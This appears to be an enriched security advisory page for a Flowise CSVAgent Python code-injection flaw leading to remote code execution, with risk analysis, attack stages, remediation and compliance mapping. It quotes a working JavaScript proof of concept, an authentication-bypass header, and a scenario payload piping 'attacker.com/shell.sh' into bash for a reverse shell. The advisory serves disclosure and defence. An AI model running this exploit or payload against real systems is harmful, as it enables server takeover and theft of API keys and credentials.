GHSA-9wc7-mj3f-74xv: Flowise CSVAgent: RCE via Python code injection

GHSA-9wc7-mj3f-74xv CRITICAL
Published April 16, 2026
CISO Take

Flowise's CSVAgent component accepts user-supplied Pandas CSV-reading code and executes it server-side via pyodide without any sanitization, enabling an attacker to inject and run arbitrary OS commands on the underlying host. Organizations running Flowise without FLOWISE_USERNAME and FLOWISE_PASSWORD configured face compounded risk: credentials absence allows complete authentication bypass via a single x-request-from: internal HTTP header, dropping the exploitation barrier to near-zero for any network-reachable instance. A fully working three-step PoC (create chatflow → trigger execution → cleanup) has been published with no specialized AI knowledge required, and with 37 prior CVEs in the same package the attack surface is well-understood by threat actors. Upgrade immediately to flowise or flowise-components 3.1.0, enforce credentials, and audit POST requests to /api/v1/chatflows containing Python import statements in node parameters.

Sources: GitHub Advisory ATLAS CISA KEV

What is the risk?

Critical. The combination of unsanitized Python code execution in a popular AI agent platform with a trivial authentication bypass creates an extremely high-risk scenario. Flowise instances typically run with elevated server privileges and hold LLM API keys, database credentials, and access to internal network resources — amplifying blast radius well beyond initial RCE. No CVSS score is assigned yet but based on attack vector (network), complexity (low), privileges (none if uncredentialed), and impact (complete), this would likely score 9.8+. The public PoC and auth bypass significantly compress the time-to-exploitation window.

How does the attack unfold?

Initial Access
Attacker reaches the Flowise API and bypasses authentication via the x-request-from: internal header if no credentials are configured, or authenticates with a valid API key.
AML.T0012
Payload Delivery
Attacker POSTs a crafted chatflow to /api/v1/chatflows containing a CSVAgent node with malicious Python code injected into the customReadCSV parameter field.
AML.T0049
Code Execution
Attacker triggers the chatflow via POST to /api/v1/prediction/[chatflowId]; pyodide executes the injected payload server-side, running arbitrary OS commands with Flowise process privileges.
AML.T0050
Impact & Exfiltration
Attacker achieves full RCE on the host, exfiltrates LLM API keys and credentials from environment variables, pivots to internal services, and deletes the chatflow to cover tracks.
AML.T0105

What systems are affected?

Package Ecosystem Vulnerable Range Patched
Flowise npm <= 3.0.13 3.1.0
Flowise npm <= 3.0.13 3.1.0

How severe is it?

CVSS 3.1
N/A
EPSS
N/A
Exploitation Status
No known exploitation
Sophistication
Trivial

What should I do?

6 steps
  1. Patch immediately: upgrade to flowise >= 3.1.0 and flowise-components >= 3.1.0.

  2. Enforce credentials: ensure FLOWISE_USERNAME and FLOWISE_PASSWORD are set to close the auth bypass vector — this is the most critical interim control if patching is delayed.

  3. Network restrict: place Flowise behind a VPN or firewall; it should never be publicly internet-facing without strong authentication.

  4. Audit logs: search for POST requests to /api/v1/chatflows where node input parameters contain 'import os', 'os.system', or 'subprocess' strings.

  5. Rotate secrets: if exploitation cannot be ruled out, rotate all LLM API keys and credentials accessible from the Flowise server environment.

  6. Consider disabling the CSVAgent node type at the application level if the patch cannot be applied immediately.

How is it classified?

Which compliance frameworks are affected?

This CVE is relevant to:

EU AI Act
Article 15 - Accuracy, robustness and cybersecurity
ISO 42001
A.6.2 - AI system design and implementation
NIST AI RMF
MANAGE-2.4 - AI risk treatment and response mechanisms
OWASP LLM Top 10
LLM07:2023 - Insecure Plugin Design LLM08:2023 - Excessive Agency

Frequently Asked Questions

What is GHSA-9wc7-mj3f-74xv?

Flowise's CSVAgent component accepts user-supplied Pandas CSV-reading code and executes it server-side via pyodide without any sanitization, enabling an attacker to inject and run arbitrary OS commands on the underlying host. Organizations running Flowise without FLOWISE_USERNAME and FLOWISE_PASSWORD configured face compounded risk: credentials absence allows complete authentication bypass via a single x-request-from: internal HTTP header, dropping the exploitation barrier to near-zero for any network-reachable instance. A fully working three-step PoC (create chatflow → trigger execution → cleanup) has been published with no specialized AI knowledge required, and with 37 prior CVEs in the same package the attack surface is well-understood by threat actors. Upgrade immediately to flowise or flowise-components 3.1.0, enforce credentials, and audit POST requests to /api/v1/chatflows containing Python import statements in node parameters.

Is GHSA-9wc7-mj3f-74xv actively exploited?

No confirmed active exploitation of GHSA-9wc7-mj3f-74xv has been reported, but organizations should still patch proactively.

How to fix GHSA-9wc7-mj3f-74xv?

1. Patch immediately: upgrade to flowise >= 3.1.0 and flowise-components >= 3.1.0. 2. Enforce credentials: ensure FLOWISE_USERNAME and FLOWISE_PASSWORD are set to close the auth bypass vector — this is the most critical interim control if patching is delayed. 3. Network restrict: place Flowise behind a VPN or firewall; it should never be publicly internet-facing without strong authentication. 4. Audit logs: search for POST requests to /api/v1/chatflows where node input parameters contain 'import os', 'os.system', or 'subprocess' strings. 5. Rotate secrets: if exploitation cannot be ruled out, rotate all LLM API keys and credentials accessible from the Flowise server environment. 6. Consider disabling the CSVAgent node type at the application level if the patch cannot be applied immediately.

What systems are affected by GHSA-9wc7-mj3f-74xv?

This vulnerability affects the following AI/ML architecture patterns: Agent frameworks, AI workflow orchestration, LLM application platforms, No-code/low-code AI builders.

What is the CVSS score for GHSA-9wc7-mj3f-74xv?

No CVSS score has been assigned yet.

What is the AI security impact?

Affected AI Architectures

Agent frameworksAI workflow orchestrationLLM application platformsNo-code/low-code AI builders

MITRE ATLAS Techniques

AML.T0012 Valid Accounts
AML.T0049 Exploit Public-Facing Application
AML.T0050 Command and Scripting Interpreter
AML.T0053 AI Agent Tool Invocation
AML.T0105 Escape to Host

Compliance Controls Affected

EU AI Act: Article 15
ISO 42001: A.6.2
NIST AI RMF: MANAGE-2.4
OWASP LLM Top 10: LLM07:2023, LLM08:2023

What are the technical details?

Original Advisory

### Summary The CSVAgent allows providing a custom Pandas CSV read code. Due to lack of sanitization, an attacker can provide the following payload: `DataFrame({'foo': ['bar!']});import os;os.system('whoami')` that will get interpolated and executed by the server. ### Details The code in question that introduces the issue is in [CSVAgent.ts](https://github.com/FlowiseAI/Flowise/blob/78674897270d58a7086c6c7ccefcc44a5fe9fbf6/packages/components/nodes/agents/CSVAgent/CSVAgent.ts#L157]). `customReadCSVFunc` is user-controlled and gets interpolated directly without sanitization into the `code` variable which gets executed by `pyodide` one line later in: `dataframeColDict = await pyodide.runPythonAsync(code)`. An authenticated attacker can issue the following chain of requests: 1. Create a new chat flow by sending a `POST` request to `/api/v1/chatflows`. This will return the `chatflowId` in the response. 2. Send a `POST` request to `/api/v1/prediction/[CHATFLOWID]` to trigger the execution of the chatflow. NOTE: the chatflow can contain only this node in order for the exploit to work. 3. Optionally: send a `DELETE` request to `/api/v1/chatflows` to cleanup and delete the chat flow. Since `/chatflows` is not whitelisted [here](https://github.com/FlowiseAI/Flowise/blob/78674897270d58a7086c6c7ccefcc44a5fe9fbf6/packages/server/src/utils/constants.ts#L1), this mandates the user to be authenticated. But, if `FLOWISE_USERNAME` and `FLOWISE_PQSSWORD` aren't set, it's sufficient to provide the `"x-request-from": "internal"` header to bypass authentication. ### PoC Here's the PoC code: ``` const PORT = 3000; const FLOWISE_HOST_URL = `http://127.0.0.1:${PORT}`; const PREDICTION_URL = '/api/v1/prediction'; const CHATFLOWS_URL = '/api/v1/chatflows'; const flowData = JSON.parse("{\"nodes\":[{\"id\":\"csvAgent_0\",\"position\":{\"x\":681,\"y\":212},\"type\":\"customNode\",\"data\":{\"label\":\"CSV Agent\",\"name\":\"csvAgent\",\"version\":3,\"type\":\"AgentExecutor\",\"category\":\"Agents\",\"icon\":\"/home/raul-snyk/research/ai/Flowise/packages/server/node_modules/flowise-components/dist/nodes/agents/CSVAgent/CSVagent.svg\",\"description\":\"Agent used to answer queries on CSV data\",\"baseClasses\":[\"AgentExecutor\",\"BaseChain\",\"Runnable\"],\"inputs\":{\"csvFile\":\"\",\"model\":\"{{openAI_0.data.instance}}\",\"systemMessagePrompt\":\"\",\"inputModeration\":\"\",\"customReadCSV\":\"DataFrame({'foo': ['bar!']});import os;os.system('whoami');\"},\"filePath\":\"/home/raul-snyk/research/ai/Flowise/packages/server/node_modules/flowise-components/dist/nodes/agents/CSVAgent/CSVAgent.js\",\"inputAnchors\":[{\"label\":\"Language Model\",\"name\":\"model\",\"type\":\"BaseLanguageModel\",\"id\":\"csvAgent_0-input-model-BaseLanguageModel\"},{\"label\":\"Input Moderation\",\"description\":\"Detect text that could generate harmful output and prevent it from being sent to the language model\",\"name\":\"inputModeration\",\"type\":\"Moderation\",\"optional\":true,\"list\":true,\"id\":\"csvAgent_0-input-inputModeration-Moderation\"}],\"inputParams\":[{\"label\":\"Csv File\",\"name\":\"csvFile\",\"type\":\"file\",\"fileType\":\".csv\",\"id\":\"csvAgent_0-input-csvFile-file\"},{\"label\":\"System Message\",\"name\":\"systemMessagePrompt\",\"type\":\"string\",\"rows\":4,\"additionalParams\":true,\"optional\":true,\"placeholder\":\"I want you to act as a document that I am having a conversation with. Your name is \\\"AI Assistant\\\". You will provide me with answers from the given info. If the answer is not included, say exactly \\\"Hmm, I am not sure.\\\" and stop after that. Refuse to answer any question not about the info. Never break character.\",\"id\":\"csvAgent_0-input-systemMessagePrompt-string\"},{\"label\":\"Custom Pandas Read_CSV Code\",\"description\":\"Custom Pandas <a target=\\\"_blank\\\" href=\\\"https://pandas.pydata.org/pandas-docs/stable/reference/api/pandas.read_csv.html\\\">read_csv</a> function. Takes in an input: \\\"csv_data\\\"\",\"name\":\"customReadCSV\",\"default\":\"read_csv(csv_data)\",\"type\":\"code\",\"optional\":true,\"additionalParams\":true,\"id\":\"csvAgent_0-input-customReadCSV-code\"}],\"outputs\":{},\"outputAnchors\":[{\"id\":\"csvAgent_0-output-csvAgent-AgentExecutor|BaseChain|Runnable\",\"name\":\"csvAgent\",\"label\":\"AgentExecutor\",\"description\":\"Agent used to answer queries on CSV data\",\"type\":\"AgentExecutor | BaseChain | Runnable\"}],\"id\":\"csvAgent_0\",\"selected\":false},\"width\":300,\"height\":464,\"selected\":true,\"dragging\":false,\"positionAbsolute\":{\"x\":681,\"y\":212}},{\"id\":\"openAI_0\",\"position\":{\"x\":238.83389711655053,\"y\":233.09962591816395},\"type\":\"customNode\",\"data\":{\"loadMethods\":{},\"label\":\"OpenAI\",\"name\":\"openAI\",\"version\":4,\"type\":\"OpenAI\",\"icon\":\"/home/raul-snyk/research/ai/Flowise/packages/server/node_modules/flowise-components/dist/nodes/llms/OpenAI/openai.svg\",\"category\":\"LLMs\",\"description\":\"Wrapper around OpenAI large language models\",\"baseClasses\":[\"OpenAI\",\"BaseLLM\",\"BaseLanguageModel\",\"Runnable\"],\"credential\":\"\",\"inputs\":{\"cache\":\"\",\"modelName\":\"gpt-3.5-turbo-instruct\",\"temperature\":0.7,\"maxTokens\":\"\",\"topP\":\"\",\"bestOf\":\"\",\"frequencyPenalty\":\"\",\"presencePenalty\":\"\",\"batchSize\":\"\",\"timeout\":\"\",\"basepath\":\"\",\"baseOptions\":\"\"},\"filePath\":\"/home/raul-snyk/research/ai/Flowise/packages/server/node_modules/flowise-components/dist/nodes/llms/OpenAI/OpenAI.js\",\"inputAnchors\":[{\"label\":\"Cache\",\"name\":\"cache\",\"type\":\"BaseCache\",\"optional\":true,\"id\":\"openAI_0-input-cache-BaseCache\"}],\"inputParams\":[{\"label\":\"Connect Credential\",\"name\":\"credential\",\"type\":\"credential\",\"credentialNames\":[\"openAIApi\"],\"id\":\"openAI_0-input-credential-credential\"},{\"label\":\"Model Name\",\"name\":\"modelName\",\"type\":\"asyncOptions\",\"loadMethod\":\"listModels\",\"default\":\"gpt-3.5-turbo-instruct\",\"id\":\"openAI_0-input-modelName-asyncOptions\"},{\"label\":\"Temperature\",\"name\":\"temperature\",\"type\":\"number\",\"step\":0.1,\"default\":0.7,\"optional\":true,\"id\":\"openAI_0-input-temperature-number\"},{\"label\":\"Max Tokens\",\"name\":\"maxTokens\",\"type\":\"number\",\"step\":1,\"optional\":true,\"additionalParams\":true,\"id\":\"openAI_0-input-maxTokens-number\"},{\"label\":\"Top Probability\",\"name\":\"topP\",\"type\":\"number\",\"step\":0.1,\"optional\":true,\"additionalParams\":true,\"id\":\"openAI_0-input-topP-number\"},{\"label\":\"Best Of\",\"name\":\"bestOf\",\"type\":\"number\",\"step\":1,\"optional\":true,\"additionalParams\":true,\"id\":\"openAI_0-input-bestOf-number\"},{\"label\":\"Frequency Penalty\",\"name\":\"frequencyPenalty\",\"type\":\"number\",\"step\":0.1,\"optional\":true,\"additionalParams\":true,\"id\":\"openAI_0-input-frequencyPenalty-number\"},{\"label\":\"Presence Penalty\",\"name\":\"presencePenalty\",\"type\":\"number\",\"step\":0.1,\"optional\":true,\"additionalParams\":true,\"id\":\"openAI_0-input-presencePenalty-number\"},{\"label\":\"Batch Size\",\"name\":\"batchSize\",\"type\":\"number\",\"step\":1,\"optional\":true,\"additionalParams\":true,\"id\":\"openAI_0-input-batchSize-number\"},{\"label\":\"Timeout\",\"name\":\"timeout\",\"type\":\"number\",\"step\":1,\"optional\":true,\"additionalParams\":true,\"id\":\"openAI_0-input-timeout-number\"},{\"label\":\"BasePath\",\"name\":\"basepath\",\"type\":\"string\",\"optional\":true,\"additionalParams\":true,\"id\":\"openAI_0-input-basepath-string\"},{\"label\":\"BaseOptions\",\"name\":\"baseOptions\",\"type\":\"json\",\"optional\":true,\"additionalParams\":true,\"id\":\"openAI_0-input-baseOptions-json\"}],\"outputs\":{},\"outputAnchors\":[{\"id\":\"openAI_0-output-openAI-OpenAI|BaseLLM|BaseLanguageModel|Runnable\",\"name\":\"openAI\",\"label\":\"OpenAI\",\"description\":\"Wrapper around OpenAI large language models\",\"type\":\"OpenAI | BaseLLM | BaseLanguageModel | Runnable\"}],\"id\":\"openAI_0\",\"selected\":false},\"width\":300,\"height\":574,\"selected\":false,\"positionAbsolute\":{\"x\":238.83389711655053,\"y\":233.09962591816395},\"dragging\":false}],\"edges\":[{\"source\":\"openAI_0\",\"sourceHandle\":\"openAI_0-output-openAI-OpenAI|BaseLLM|BaseLanguageModel|Runnable\",\"target\":\"csvAgent_0\",\"targetHandle\":\"csvAgent_0-input-model-BaseLanguageModel\",\"type\":\"buttonedge\",\"id\":\"openAI_0-openAI_0-output-openAI-OpenAI|BaseLLM|BaseLanguageModel|Runnable-csvAgent_0-csvAgent_0-input-model-BaseLanguageModel\"}],\"viewport\":{\"x\":73.92828909845196,\"y\":-4.475777844396191,\"zoom\":0.7371346086455504}}"); const payload = {"name":"CSV PWN","deployed":false,"isPublic":false,"flowData":JSON.stringify(flowData),"type":"CHATFLOW"}; // Create chatflow. let res = await fetch(`${FLOWISE_HOST_URL}${CHATFLOWS_URL}`, { method: "POST", headers: { "Content-Type": "application/json", "Authorization": "Bearer <your-api-key>" //Alternative: "x-request-from": "internal" }, body: JSON.stringify(payload) }); let resJson = await res.json(); let chatflowId = resJson?.id; // Trigger vuln. await fetch(`${FLOWISE_HOST_URL}${PREDICTION_URL}/${chatflowId}`, { method: "POST", headers: { "Content-Type": "application/json" }, body: JSON.stringify({"question": "whoami?"}) }); // Cleanup. await fetch(`${FLOWISE_HOST_URL}${CHATFLOWS_URL}/${chatflowId}`, { method: "DELETE", headers: { "Content-Type": "application/json", "Authorization": "Bearer <your-api-key>" //Alternative: "x-request-from": "internal" } }); ``` ### Impact This results in Remote Code Execution (RCE) and can allow an attacker to compromise the underlying server.

Exploitation Scenario

An attacker targeting an organization's internal AI platform discovers a Flowise instance exposed on the corporate network without credentials configured — a common default deployment state. They bypass authentication entirely by including the x-request-from: internal header, then POST a chatflow to /api/v1/chatflows containing a CSVAgent node with customReadCSV set to: DataFrame({'foo': ['bar!']}); import os; os.system('curl attacker.com/shell.sh | bash'). A second POST to /api/v1/prediction/[chatflowId] triggers chatflow execution; pyodide runs the injected code server-side with Flowise process privileges, establishing a reverse shell. The attacker exfiltrates LLM API keys from environment variables, reads internal configuration files, pivots to connected databases and internal services, then deletes the chatflow via DELETE /api/v1/chatflows/[chatflowId] to remove forensic evidence of the attack chain.

Weaknesses (CWE)

CWE-94 — Improper Control of Generation of Code ('Code Injection'): The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.

  • [Architecture and Design] Refactor your program so that you do not have to dynamically generate code.
  • [Architecture and Design] Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which code can be executed by your product. Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.

Source: MITRE CWE corpus.

Timeline

Published
April 16, 2026
Last Modified
April 16, 2026
First Seen
April 17, 2026

Related Vulnerabilities